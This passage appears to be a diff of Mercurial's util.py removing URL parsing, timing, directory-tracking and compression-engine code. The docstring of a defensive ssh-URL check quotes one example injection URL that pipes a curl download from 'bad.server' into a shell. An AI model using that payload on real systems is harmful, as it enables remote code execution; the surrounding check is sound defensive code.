3038 fn = fn or (lambda s: s)
3039 patterns = '|'.join(mapping.keys())
3040 if escape_prefix:
3041 patterns += '|' + prefix
3042 if len(prefix) > 1:
3043 prefix_char = prefix[1:]
3044 else:
3045 prefix_char = prefix
3046 mapping[prefix_char] = prefix_char
3047 r = remod.compile(br'%s(%s)' % (prefix, patterns))
3048 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
3049
3050 def getport(port):
3051 """Return the port for a given network service.
3052
3053 If port is an integer, it's returned as is. If it's a string, it's
3054 looked up using socket.getservbyname(). If there's no matching
3055 service, error.Abort is raised.
3056 """
3057 try:
3058 return int(port)
3059 except ValueError:
3060 pass
3061
3062 try:
3063 return socket.getservbyname(pycompat.sysstr(port))
3064 except socket.error:
3065 raise Abort(_("no port number associated with service '%s'") % port)
3066
3067 _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True,
279 _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True,
3068 '0': False, 'no': False, 'false': False, 'off': False,
280 '0': False, 'no': False, 'false': False, 'off': False,
3069 'never': False}
281 'never': False}
@@ -3074,1270 +286,3 b' def parsebool(s):'
3074 If s is not a valid boolean, returns None.
286 If s is not a valid boolean, returns None.
3075 """
287 """
3076 return _booleans.get(s.lower(), None)
288 return _booleans.get(s.lower(), None)
3077
3078 class url(object):
3079 r"""Reliable URL parser.
3080
3081 This parses URLs and provides attributes for the following
3082 components:
3083
3084 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
3085
3086 Missing components are set to None. The only exception is
3087 fragment, which is set to '' if present but empty.
3088
3089 If parsefragment is False, fragment is included in query. If
3090 parsequery is False, query is included in path. If both are
3091 False, both fragment and query are included in path.
3092
3093 See http://www.ietf.org/rfc/rfc2396.txt for more information.
3094
3095 Note that for backward compatibility reasons, bundle URLs do not
3096 take host names. That means 'bundle://../' has a path of '../'.
3097
3098 Examples:
3099
3100 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
3101 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
3102 >>> url(b'ssh://[::1]:2200//home/joe/repo')
3103 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
3104 >>> url(b'file:///home/joe/repo')
3105 <url scheme: 'file', path: '/home/joe/repo'>
3106 >>> url(b'file:///c:/temp/foo/')
3107 <url scheme: 'file', path: 'c:/temp/foo/'>
3108 >>> url(b'bundle:foo')
3109 <url scheme: 'bundle', path: 'foo'>
3110 >>> url(b'bundle://../foo')
3111 <url scheme: 'bundle', path: '../foo'>
3112 >>> url(br'c:\foo\bar')
3113 <url path: 'c:\\foo\\bar'>
3114 >>> url(br'\\blah\blah\blah')
3115 <url path: '\\\\blah\\blah\\blah'>
3116 >>> url(br'\\blah\blah\blah#baz')
3117 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
3118 >>> url(br'file:///C:\users\me')
3119 <url scheme: 'file', path: 'C:\\users\\me'>
3120
3121 Authentication credentials:
3122
3123 >>> url(b'ssh://joe:xyz@x/repo')
3124 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
3125 >>> url(b'ssh://joe@x/repo')
3126 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
3127
3128 Query strings and fragments:
3129
3130 >>> url(b'http://host/a?b#c')
3131 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
3132 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
3133 <url scheme: 'http', host: 'host', path: 'a?b#c'>
3134
3135 Empty path:
3136
3137 >>> url(b'')
3138 <url path: ''>
3139 >>> url(b'#a')
3140 <url path: '', fragment: 'a'>
3141 >>> url(b'http://host/')
3142 <url scheme: 'http', host: 'host', path: ''>
3143 >>> url(b'http://host/#a')
3144 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
3145
3146 Only scheme:
3147
3148 >>> url(b'http:')
3149 <url scheme: 'http'>
3150 """
3151
3152 _safechars = "!~*'()+"
3153 _safepchars = "/!~*'()+:\\"
3154 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
3155
3156 def __init__(self, path, parsequery=True, parsefragment=True):
3157 # We slowly chomp away at path until we have only the path left
3158 self.scheme = self.user = self.passwd = self.host = None
3159 self.port = self.path = self.query = self.fragment = None
3160 self._localpath = True
3161 self._hostport = ''
3162 self._origpath = path
3163
3164 if parsefragment and '#' in path:
3165 path, self.fragment = path.split('#', 1)
3166
3167 # special case for Windows drive letters and UNC paths
3168 if hasdriveletter(path) or path.startswith('\\\\'):
3169 self.path = path
3170 return
3171
3172 # For compatibility reasons, we can't handle bundle paths as
3173 # normal URLS
3174 if path.startswith('bundle:'):
3175 self.scheme = 'bundle'
3176 path = path[7:]
3177 if path.startswith('//'):
3178 path = path[2:]
3179 self.path = path
3180 return
3181
3182 if self._matchscheme(path):
3183 parts = path.split(':', 1)
3184 if parts[0]:
3185 self.scheme, path = parts
3186 self._localpath = False
3187
3188 if not path:
3189 path = None
3190 if self._localpath:
3191 self.path = ''
3192 return
3193 else:
3194 if self._localpath:
3195 self.path = path
3196 return
3197
3198 if parsequery and '?' in path:
3199 path, self.query = path.split('?', 1)
3200 if not path:
3201 path = None
3202 if not self.query:
3203 self.query = None
3204
3205 # // is required to specify a host/authority
3206 if path and path.startswith('//'):
3207 parts = path[2:].split('/', 1)
3208 if len(parts) > 1:
3209 self.host, path = parts
3210 else:
3211 self.host = parts[0]
3212 path = None
3213 if not self.host:
3214 self.host = None
3215 # path of file:///d is /d
3216 # path of file:///d:/ is d:/, not /d:/
3217 if path and not hasdriveletter(path):
3218 path = '/' + path
3219
3220 if self.host and '@' in self.host:
3221 self.user, self.host = self.host.rsplit('@', 1)
3222 if ':' in self.user:
3223 self.user, self.passwd = self.user.split(':', 1)
3224 if not self.host:
3225 self.host = None
3226
3227 # Don't split on colons in IPv6 addresses without ports
3228 if (self.host and ':' in self.host and
3229 not (self.host.startswith('[') and self.host.endswith(']'))):
3230 self._hostport = self.host
3231 self.host, self.port = self.host.rsplit(':', 1)
3232 if not self.host:
3233 self.host = None
3234
3235 if (self.host and self.scheme == 'file' and
3236 self.host not in ('localhost', '127.0.0.1', '[::1]')):
3237 raise Abort(_('file:// URLs can only refer to localhost'))
3238
3239 self.path = path
3240
3241 # leave the query string escaped
3242 for a in ('user', 'passwd', 'host', 'port',
3243 'path', 'fragment'):
3244 v = getattr(self, a)
3245 if v is not None:
3246 setattr(self, a, urlreq.unquote(v))
3247
3248 @encoding.strmethod
3249 def __repr__(self):
3250 attrs = []
3251 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
3252 'query', 'fragment'):
3253 v = getattr(self, a)
3254 if v is not None:
3255 attrs.append('%s: %r' % (a, v))
3256 return '<url %s>' % ', '.join(attrs)
3257
3258 def __bytes__(self):
3259 r"""Join the URL's components back into a URL string.
3260
3261 Examples:
3262
3263 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
3264 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
3265 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
3266 'http://user:pw@host:80/?foo=bar&baz=42'
3267 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
3268 'http://user:pw@host:80/?foo=bar%3dbaz'
3269 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
3270 'ssh://user:pw@[::1]:2200//home/joe#'
3271 >>> bytes(url(b'http://localhost:80//'))
3272 'http://localhost:80//'
3273 >>> bytes(url(b'http://localhost:80/'))
3274 'http://localhost:80/'
3275 >>> bytes(url(b'http://localhost:80'))
3276 'http://localhost:80/'
3277 >>> bytes(url(b'bundle:foo'))
3278 'bundle:foo'
3279 >>> bytes(url(b'bundle://../foo'))
3280 'bundle:../foo'
3281 >>> bytes(url(b'path'))
3282 'path'
3283 >>> bytes(url(b'file:///tmp/foo/bar'))
3284 'file:///tmp/foo/bar'
3285 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
3286 'file:///c:/tmp/foo/bar'
3287 >>> print(url(br'bundle:foo\bar'))
3288 bundle:foo\bar
3289 >>> print(url(br'file:///D:\data\hg'))
3290 file:///D:\data\hg
3291 """
3292 if self._localpath:
3293 s = self.path
3294 if self.scheme == 'bundle':
3295 s = 'bundle:' + s
3296 if self.fragment:
3297 s += '#' + self.fragment
3298 return s
3299
3300 s = self.scheme + ':'
3301 if self.user or self.passwd or self.host:
3302 s += '//'
3303 elif self.scheme and (not self.path or self.path.startswith('/')
3304 or hasdriveletter(self.path)):
3305 s += '//'
3306 if hasdriveletter(self.path):
3307 s += '/'
3308 if self.user:
3309 s += urlreq.quote(self.user, safe=self._safechars)
3310 if self.passwd:
3311 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
3312 if self.user or self.passwd:
3313 s += '@'
3314 if self.host:
3315 if not (self.host.startswith('[') and self.host.endswith(']')):
3316 s += urlreq.quote(self.host)
3317 else:
3318 s += self.host
3319 if self.port:
3320 s += ':' + urlreq.quote(self.port)
3321 if self.host:
3322 s += '/'
3323 if self.path:
3324 # TODO: similar to the query string, we should not unescape the
3325 # path when we store it, the path might contain '%2f' = '/',
3326 # which we should *not* escape.
3327 s += urlreq.quote(self.path, safe=self._safepchars)
3328 if self.query:
3329 # we store the query in escaped form.
3330 s += '?' + self.query
3331 if self.fragment is not None:
3332 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
3333 return s
3334
3335 __str__ = encoding.strmethod(__bytes__)
3336
3337 def authinfo(self):
3338 user, passwd = self.user, self.passwd
3339 try:
3340 self.user, self.passwd = None, None
3341 s = bytes(self)
3342 finally:
3343 self.user, self.passwd = user, passwd
3344 if not self.user:
3345 return (s, None)
3346 # authinfo[1] is passed to urllib2 password manager, and its
3347 # URIs must not contain credentials. The host is passed in the
3348 # URIs list because Python < 2.4.3 uses only that to search for
3349 # a password.
3350 return (s, (None, (s, self.host),
3351 self.user, self.passwd or ''))
3352
3353 def isabs(self):
3354 if self.scheme and self.scheme != 'file':
3355 return True # remote URL
3356 if hasdriveletter(self.path):
3357 return True # absolute for our purposes - can't be joined()
3358 if self.path.startswith(br'\\'):
3359 return True # Windows UNC path
3360 if self.path.startswith('/'):
3361 return True # POSIX-style
3362 return False
3363
3364 def localpath(self):
3365 if self.scheme == 'file' or self.scheme == 'bundle':
3366 path = self.path or '/'
3367 # For Windows, we need to promote hosts containing drive
3368 # letters to paths with drive letters.
3369 if hasdriveletter(self._hostport):
3370 path = self._hostport + '/' + self.path
3371 elif (self.host is not None and self.path
3372 and not hasdriveletter(path)):
3373 path = '/' + path
3374 return path
3375 return self._origpath
3376
3377 def islocal(self):
3378 '''whether localpath will return something that posixfile can open'''
3379 return (not self.scheme or self.scheme == 'file'
3380 or self.scheme == 'bundle')
3381
3382 def hasscheme(path):
3383 return bool(url(path).scheme)
3384
3385 def hasdriveletter(path):
3386 return path and path[1:2] == ':' and path[0:1].isalpha()
3387
3388 def urllocalpath(path):
3389 return url(path, parsequery=False, parsefragment=False).localpath()
3390
3391 def checksafessh(path):
3392 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3393
3394 This is a sanity check for ssh urls. ssh will parse the first item as
3395 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3396 Let's prevent these potentially exploited urls entirely and warn the
3397 user.
3398
3399 Raises an error.Abort when the url is unsafe.
3400 """
3401 path = urlreq.unquote(path)
3402 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
3403 raise error.Abort(_('potentially unsafe url: %r') %
3404 (pycompat.bytestr(path),))
3405
3406 def hidepassword(u):
3407 '''hide user credential in a url string'''
3408 u = url(u)
3409 if u.passwd:
3410 u.passwd = '***'
3411 return bytes(u)
3412
3413 def removeauth(u):
3414 '''remove all authentication information from a url string'''
3415 u = url(u)
3416 u.user = u.passwd = None
3417 return str(u)
3418
3419 timecount = unitcountfn(
3420 (1, 1e3, _('%.0f s')),
3421 (100, 1, _('%.1f s')),
3422 (10, 1, _('%.2f s')),
3423 (1, 1, _('%.3f s')),
3424 (100, 0.001, _('%.1f ms')),
3425 (10, 0.001, _('%.2f ms')),
3426 (1, 0.001, _('%.3f ms')),
3427 (100, 0.000001, _('%.1f us')),
3428 (10, 0.000001, _('%.2f us')),
3429 (1, 0.000001, _('%.3f us')),
3430 (100, 0.000000001, _('%.1f ns')),
3431 (10, 0.000000001, _('%.2f ns')),
3432 (1, 0.000000001, _('%.3f ns')),
3433 )
3434
3435 _timenesting = [0]
3436
3437 def timed(func):
3438 '''Report the execution time of a function call to stderr.
3439
3440 During development, use as a decorator when you need to measure
3441 the cost of a function, e.g. as follows:
3442
3443 @util.timed
3444 def foo(a, b, c):
3445 pass
3446 '''
3447
3448 def wrapper(*args, **kwargs):
3449 start = timer()
3450 indent = 2
3451 _timenesting[0] += indent
3452 try:
3453 return func(*args, **kwargs)
3454 finally:
3455 elapsed = timer() - start
3456 _timenesting[0] -= indent
3457 stderr.write('%s%s: %s\n' %
3458 (' ' * _timenesting[0], func.__name__,
3459 timecount(elapsed)))
3460 return wrapper
3461
3462 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
3463 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
3464
3465 def sizetoint(s):
3466 '''Convert a space specifier to a byte count.
3467
3468 >>> sizetoint(b'30')
3469 30
3470 >>> sizetoint(b'2.2kb')
3471 2252
3472 >>> sizetoint(b'6M')
3473 6291456
3474 '''
3475 t = s.strip().lower()
3476 try:
3477 for k, u in _sizeunits:
3478 if t.endswith(k):
3479 return int(float(t[:-len(k)]) * u)
3480 return int(t)
3481 except ValueError:
3482 raise error.ParseError(_("couldn't parse size: %s") % s)
3483
3484 class hooks(object):
3485 '''A collection of hook functions that can be used to extend a
3486 function's behavior. Hooks are called in lexicographic order,
3487 based on the names of their sources.'''
3488
3489 def __init__(self):
3490 self._hooks = []
3491
3492 def add(self, source, hook):
3493 self._hooks.append((source, hook))
3494
3495 def __call__(self, *args):
3496 self._hooks.sort(key=lambda x: x[0])
3497 results = []
3498 for source, hook in self._hooks:
3499 results.append(hook(*args))
3500 return results
3501
3502 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
3503 '''Yields lines for a nicely formatted stacktrace.
3504 Skips the 'skip' last entries, then return the last 'depth' entries.
3505 Each file+linenumber is formatted according to fileline.
3506 Each line is formatted according to line.
3507 If line is None, it yields:
3508 length of longest filepath+line number,
3509 filepath+linenumber,
3510 function
3511
3512 Not be used in production code but very convenient while developing.
3513 '''
3514 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3515 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
3516 ][-depth:]
3517 if entries:
3518 fnmax = max(len(entry[0]) for entry in entries)
3519 for fnln, func in entries:
3520 if line is None:
3521 yield (fnmax, fnln, func)
3522 else:
3523 yield line % (fnmax, fnln, func)
3524
3525 def debugstacktrace(msg='stacktrace', skip=0,
3526 f=stderr, otherf=stdout, depth=0):
3527 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3528 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3529 By default it will flush stdout first.
3530 It can be used everywhere and intentionally does not require an ui object.
3531 Not be used in production code but very convenient while developing.
3532 '''
3533 if otherf:
3534 otherf.flush()
3535 f.write('%s at:\n' % msg.rstrip())
3536 for line in getstackframes(skip + 1, depth=depth):
3537 f.write(line)
3538 f.flush()
3539
3540 class dirs(object):
3541 '''a multiset of directory names from a dirstate or manifest'''
3542
3543 def __init__(self, map, skip=None):
3544 self._dirs = {}
3545 addpath = self.addpath
3546 if safehasattr(map, 'iteritems') and skip is not None:
3547 for f, s in map.iteritems():
3548 if s[0] != skip:
3549 addpath(f)
3550 else:
3551 for f in map:
3552 addpath(f)
3553
3554 def addpath(self, path):
3555 dirs = self._dirs
3556 for base in finddirs(path):
3557 if base in dirs:
3558 dirs[base] += 1
3559 return
3560 dirs[base] = 1
3561
3562 def delpath(self, path):
3563 dirs = self._dirs
3564 for base in finddirs(path):
3565 if dirs[base] > 1:
3566 dirs[base] -= 1
3567 return
3568 del dirs[base]
3569
3570 def __iter__(self):
3571 return iter(self._dirs)
3572
3573 def __contains__(self, d):
3574 return d in self._dirs
3575
3576 if safehasattr(parsers, 'dirs'):
3577 dirs = parsers.dirs
3578
3579 def finddirs(path):
3580 pos = path.rfind('/')
3581 while pos != -1:
3582 yield path[:pos]
3583 pos = path.rfind('/', 0, pos)
3584
3585 # compression code
3586
3587 SERVERROLE = 'server'
3588 CLIENTROLE = 'client'
3589
3590 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3591 (u'name', u'serverpriority',
3592 u'clientpriority'))
3593
3594 class compressormanager(object):
3595 """Holds registrations of various compression engines.
3596
3597 This class essentially abstracts the differences between compression
3598 engines to allow new compression formats to be added easily, possibly from
3599 extensions.
3600
3601 Compressors are registered against the global instance by calling its
3602 ``register()`` method.
3603 """
3604 def __init__(self):
3605 self._engines = {}
3606 # Bundle spec human name to engine name.
3607 self._bundlenames = {}
3608 # Internal bundle identifier to engine name.
3609 self._bundletypes = {}
3610 # Revlog header to engine name.
3611 self._revlogheaders = {}
3612 # Wire proto identifier to engine name.
3613 self._wiretypes = {}
3614
3615 def __getitem__(self, key):
3616 return self._engines[key]
3617
3618 def __contains__(self, key):
3619 return key in self._engines
3620
3621 def __iter__(self):
3622 return iter(self._engines.keys())
3623
3624 def register(self, engine):
3625 """Register a compression engine with the manager.
3626
3627 The argument must be a ``compressionengine`` instance.
3628 """
3629 if not isinstance(engine, compressionengine):
3630 raise ValueError(_('argument must be a compressionengine'))
3631
3632 name = engine.name()
3633
3634 if name in self._engines:
3635 raise error.Abort(_('compression engine %s already registered') %
3636 name)
3637
3638 bundleinfo = engine.bundletype()
3639 if bundleinfo:
3640 bundlename, bundletype = bundleinfo
3641
3642 if bundlename in self._bundlenames:
3643 raise error.Abort(_('bundle name %s already registered') %
3644 bundlename)
3645 if bundletype in self._bundletypes:
3646 raise error.Abort(_('bundle type %s already registered by %s') %
3647 (bundletype, self._bundletypes[bundletype]))
3648
3649 # No external facing name declared.
3650 if bundlename:
3651 self._bundlenames[bundlename] = name
3652
3653 self._bundletypes[bundletype] = name
3654
3655 wiresupport = engine.wireprotosupport()
3656 if wiresupport:
3657 wiretype = wiresupport.name
3658 if wiretype in self._wiretypes:
3659 raise error.Abort(_('wire protocol compression %s already '
3660 'registered by %s') %
3661 (wiretype, self._wiretypes[wiretype]))
3662
3663 self._wiretypes[wiretype] = name
3664
3665 revlogheader = engine.revlogheader()
3666 if revlogheader and revlogheader in self._revlogheaders:
3667 raise error.Abort(_('revlog header %s already registered by %s') %
3668 (revlogheader, self._revlogheaders[revlogheader]))
3669
3670 if revlogheader:
3671 self._revlogheaders[revlogheader] = name
3672
3673 self._engines[name] = engine
3674
3675 @property
3676 def supportedbundlenames(self):
3677 return set(self._bundlenames.keys())
3678
3679 @property
3680 def supportedbundletypes(self):
3681 return set(self._bundletypes.keys())
3682
3683 def forbundlename(self, bundlename):
3684 """Obtain a compression engine registered to a bundle name.
3685
3686 Will raise KeyError if the bundle type isn't registered.
3687
3688 Will abort if the engine is known but not available.
3689 """
3690 engine = self._engines[self._bundlenames[bundlename]]
3691 if not engine.available():
3692 raise error.Abort(_('compression engine %s could not be loaded') %
3693 engine.name())
3694 return engine
3695
3696 def forbundletype(self, bundletype):
3697 """Obtain a compression engine registered to a bundle type.
3698
3699 Will raise KeyError if the bundle type isn't registered.
3700
3701 Will abort if the engine is known but not available.
3702 """
3703 engine = self._engines[self._bundletypes[bundletype]]
3704 if not engine.available():
3705 raise error.Abort(_('compression engine %s could not be loaded') %
3706 engine.name())
3707 return engine
3708
3709 def supportedwireengines(self, role, onlyavailable=True):
3710 """Obtain compression engines that support the wire protocol.
3711
3712 Returns a list of engines in prioritized order, most desired first.
3713
3714 If ``onlyavailable`` is set, filter out engines that can't be
3715 loaded.
3716 """
3717 assert role in (SERVERROLE, CLIENTROLE)
3718
3719 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3720
3721 engines = [self._engines[e] for e in self._wiretypes.values()]
3722 if onlyavailable:
3723 engines = [e for e in engines if e.available()]
3724
3725 def getkey(e):
3726 # Sort first by priority, highest first. In case of tie, sort
3727 # alphabetically. This is arbitrary, but ensures output is
3728 # stable.
3729 w = e.wireprotosupport()
3730 return -1 * getattr(w, attr), w.name
3731
3732 return list(sorted(engines, key=getkey))
3733
3734 def forwiretype(self, wiretype):
3735 engine = self._engines[self._wiretypes[wiretype]]
3736 if not engine.available():
3737 raise error.Abort(_('compression engine %s could not be loaded') %
3738 engine.name())
3739 return engine
3740
3741 def forrevlogheader(self, header):
3742 """Obtain a compression engine registered to a revlog header.
3743
3744 Will raise KeyError if the revlog header value isn't registered.
3745 """
3746 return self._engines[self._revlogheaders[header]]
3747
3748 compengines = compressormanager()
3749
3750 class compressionengine(object):
3751 """Base class for compression engines.
3752
3753 Compression engines must implement the interface defined by this class.
3754 """
3755 def name(self):
3756 """Returns the name of the compression engine.
3757
3758 This is the key the engine is registered under.
3759
3760 This method must be implemented.
3761 """
3762 raise NotImplementedError()
3763
3764 def available(self):
3765 """Whether the compression engine is available.
3766
3767 The intent of this method is to allow optional compression engines
3768 that may not be available in all installations (such as engines relying
3769 on C extensions that may not be present).
3770 """
3771 return True
3772
3773 def bundletype(self):
3774 """Describes bundle identifiers for this engine.
3775
3776 If this compression engine isn't supported for bundles, returns None.
3777
3778 If this engine can be used for bundles, returns a 2-tuple of strings of
3779 the user-facing "bundle spec" compression name and an internal
3780 identifier used to denote the compression format within bundles. To
3781 exclude the name from external usage, set the first element to ``None``.
3782
3783 If bundle compression is supported, the class must also implement
3784 ``compressstream`` and `decompressorreader``.
3785
3786 The docstring of this method is used in the help system to tell users
3787 about this engine.
3788 """
3789 return None
3790
3791 def wireprotosupport(self):
3792 """Declare support for this compression format on the wire protocol.
3793
3794 If this compression engine isn't supported for compressing wire
3795 protocol payloads, returns None.
3796
3797 Otherwise, returns ``compenginewireprotosupport`` with the following
3798 fields:
3799
3800 * String format identifier
3801 * Integer priority for the server
3802 * Integer priority for the client
3803
3804 The integer priorities are used to order the advertisement of format
3805 support by server and client. The highest integer is advertised
3806 first. Integers with non-positive values aren't advertised.
3807
3808 The priority values are somewhat arbitrary and only used for default
3809 ordering. The relative order can be changed via config options.
3810
3811 If wire protocol compression is supported, the class must also implement
3812 ``compressstream`` and ``decompressorreader``.
3813 """
3814 return None
3815
3816 def revlogheader(self):
3817 """Header added to revlog chunks that identifies this engine.
3818
3819 If this engine can be used to compress revlogs, this method should
3820 return the bytes used to identify chunks compressed with this engine.
3821 Else, the method should return ``None`` to indicate it does not
3822 participate in revlog compression.
3823 """
3824 return None
3825
3826 def compressstream(self, it, opts=None):
3827 """Compress an iterator of chunks.
3828
3829 The method receives an iterator (ideally a generator) of chunks of
3830 bytes to be compressed. It returns an iterator (ideally a generator)
3831 of bytes of chunks representing the compressed output.
3832
3833 Optionally accepts an argument defining how to perform compression.
3834 Each engine treats this argument differently.
3835 """
3836 raise NotImplementedError()
3837
3838 def decompressorreader(self, fh):
3839 """Perform decompression on a file object.
3840
3841 Argument is an object with a ``read(size)`` method that returns
3842 compressed data. Return value is an object with a ``read(size)`` that
3843 returns uncompressed data.
3844 """
3845 raise NotImplementedError()
3846
3847 def revlogcompressor(self, opts=None):
3848 """Obtain an object that can be used to compress revlog entries.
3849
3850 The object has a ``compress(data)`` method that compresses binary
3851 data. This method returns compressed binary data or ``None`` if
3852 the data could not be compressed (too small, not compressible, etc).
3853 The returned data should have a header uniquely identifying this
3854 compression format so decompression can be routed to this engine.
3855 This header should be identified by the ``revlogheader()`` return
3856 value.
3857
3858 The object has a ``decompress(data)`` method that decompresses
3859 data. The method will only be called if ``data`` begins with
3860 ``revlogheader()``. The method should return the raw, uncompressed
3861 data or raise a ``RevlogError``.
3862
3863 The object is reusable but is not thread safe.
3864 """
3865 raise NotImplementedError()
3866
3867 class _zlibengine(compressionengine):
3868 def name(self):
3869 return 'zlib'
3870
3871 def bundletype(self):
3872 """zlib compression using the DEFLATE algorithm.
3873
3874 All Mercurial clients should support this format. The compression
3875 algorithm strikes a reasonable balance between compression ratio
3876 and size.
3877 """
3878 return 'gzip', 'GZ'
3879
3880 def wireprotosupport(self):
3881 return compewireprotosupport('zlib', 20, 20)
3882
3883 def revlogheader(self):
3884 return 'x'
3885
3886 def compressstream(self, it, opts=None):
3887 opts = opts or {}
3888
3889 z = zlib.compressobj(opts.get('level', -1))
3890 for chunk in it:
3891 data = z.compress(chunk)
3892 # Not all calls to compress emit data. It is cheaper to inspect
3893 # here than to feed empty chunks through generator.
3894 if data:
3895 yield data
3896
3897 yield z.flush()
3898
3899 def decompressorreader(self, fh):
3900 def gen():
3901 d = zlib.decompressobj()
3902 for chunk in filechunkiter(fh):
3903 while chunk:
3904 # Limit output size to limit memory.
3905 yield d.decompress(chunk, 2 ** 18)
3906 chunk = d.unconsumed_tail
3907
3908 return chunkbuffer(gen())
3909
3910 class zlibrevlogcompressor(object):
3911 def compress(self, data):
3912 insize = len(data)
3913 # Caller handles empty input case.
3914 assert insize > 0
3915
3916 if insize < 44:
3917 return None
3918
3919 elif insize <= 1000000:
3920 compressed = zlib.compress(data)
3921 if len(compressed) < insize:
3922 return compressed
3923 return None
3924
3925 # zlib makes an internal copy of the input buffer, doubling
3926 # memory usage for large inputs. So do streaming compression
3927 # on large inputs.
3928 else:
3929 z = zlib.compressobj()
3930 parts = []
3931 pos = 0
3932 while pos < insize:
3933 pos2 = pos + 2**20
3934 parts.append(z.compress(data[pos:pos2]))
3935 pos = pos2
3936 parts.append(z.flush())
3937
3938 if sum(map(len, parts)) < insize:
3939 return ''.join(parts)
3940 return None
3941
3942 def decompress(self, data):
3943 try:
3944 return zlib.decompress(data)
3945 except zlib.error as e:
3946 raise error.RevlogError(_('revlog decompress error: %s') %
3947 forcebytestr(e))
3948
3949 def revlogcompressor(self, opts=None):
3950 return self.zlibrevlogcompressor()
3951
3952 compengines.register(_zlibengine())
3953
3954 class _bz2engine(compressionengine):
3955 def name(self):
3956 return 'bz2'
3957
3958 def bundletype(self):
3959 """An algorithm that produces smaller bundles than ``gzip``.
3960
3961 All Mercurial clients should support this format.
3962
3963 This engine will likely produce smaller bundles than ``gzip`` but
3964 will be significantly slower, both during compression and
3965 decompression.
3966
3967 If available, the ``zstd`` engine can yield similar or better
3968 compression at much higher speeds.
3969 """
3970 return 'bzip2', 'BZ'
3971
3972 # We declare a protocol name but don't advertise by default because
3973 # it is slow.
3974 def wireprotosupport(self):
3975 return compewireprotosupport('bzip2', 0, 0)
3976
3977 def compressstream(self, it, opts=None):
3978 opts = opts or {}
3979 z = bz2.BZ2Compressor(opts.get('level', 9))
3980 for chunk in it:
3981 data = z.compress(chunk)
3982 if data:
3983 yield data
3984
3985 yield z.flush()
3986
3987 def decompressorreader(self, fh):
3988 def gen():
3989 d = bz2.BZ2Decompressor()
3990 for chunk in filechunkiter(fh):
3991 yield d.decompress(chunk)
3992
3993 return chunkbuffer(gen())
3994
3995 compengines.register(_bz2engine())
3996
3997 class _truncatedbz2engine(compressionengine):
3998 def name(self):
3999 return 'bz2truncated'
4000
4001 def bundletype(self):
4002 return None, '_truncatedBZ'
4003
4004 # We don't implement compressstream because it is hackily handled elsewhere.
4005
4006 def decompressorreader(self, fh):
4007 def gen():
4008 # The input stream doesn't have the 'BZ' header. So add it back.
4009 d = bz2.BZ2Decompressor()
4010 d.decompress('BZ')
4011 for chunk in filechunkiter(fh):
4012 yield d.decompress(chunk)
4013
4014 return chunkbuffer(gen())
4015
4016 compengines.register(_truncatedbz2engine())
4017
4018 class _noopengine(compressionengine):
4019 def name(self):
4020 return 'none'
4021
4022 def bundletype(self):
4023 """No compression is performed.
4024
4025 Use this compression engine to explicitly disable compression.
4026 """
4027 return 'none', 'UN'
4028
4029 # Clients always support uncompressed payloads. Servers don't because
4030 # unless you are on a fast network, uncompressed payloads can easily
4031 # saturate your network pipe.
4032 def wireprotosupport(self):
4033 return compewireprotosupport('none', 0, 10)
4034
4035 # We don't implement revlogheader because it is handled specially
4036 # in the revlog class.
4037
4038 def compressstream(self, it, opts=None):
4039 return it
4040
4041 def decompressorreader(self, fh):
4042 return fh
4043
4044 class nooprevlogcompressor(object):
4045 def compress(self, data):
4046 return None
4047
4048 def revlogcompressor(self, opts=None):
4049 return self.nooprevlogcompressor()
4050
4051 compengines.register(_noopengine())
4052
4053 class _zstdengine(compressionengine):
4054 def name(self):
4055 return 'zstd'
4056
4057 @propertycache
4058 def _module(self):
4059 # Not all installs have the zstd module available. So defer importing
4060 # until first access.
4061 try:
4062 from . import zstd
4063 # Force delayed import.
4064 zstd.__version__
4065 return zstd
4066 except ImportError:
4067 return None
4068
4069 def available(self):
4070 return bool(self._module)
4071
4072 def bundletype(self):
4073 """A modern compression algorithm that is fast and highly flexible.
4074
4075 Only supported by Mercurial 4.1 and newer clients.
4076
4077 With the default settings, zstd compression is both faster and yields
4078 better compression than ``gzip``. It also frequently yields better
4079 compression than ``bzip2`` while operating at much higher speeds.
4080
4081 If this engine is available and backwards compatibility is not a
4082 concern, it is likely the best available engine.
4083 """
4084 return 'zstd', 'ZS'
4085
4086 def wireprotosupport(self):
4087 return compewireprotosupport('zstd', 50, 50)
4088
4089 def revlogheader(self):
4090 return '\x28'
4091
4092 def compressstream(self, it, opts=None):
4093 opts = opts or {}
4094 # zstd level 3 is almost always significantly faster than zlib
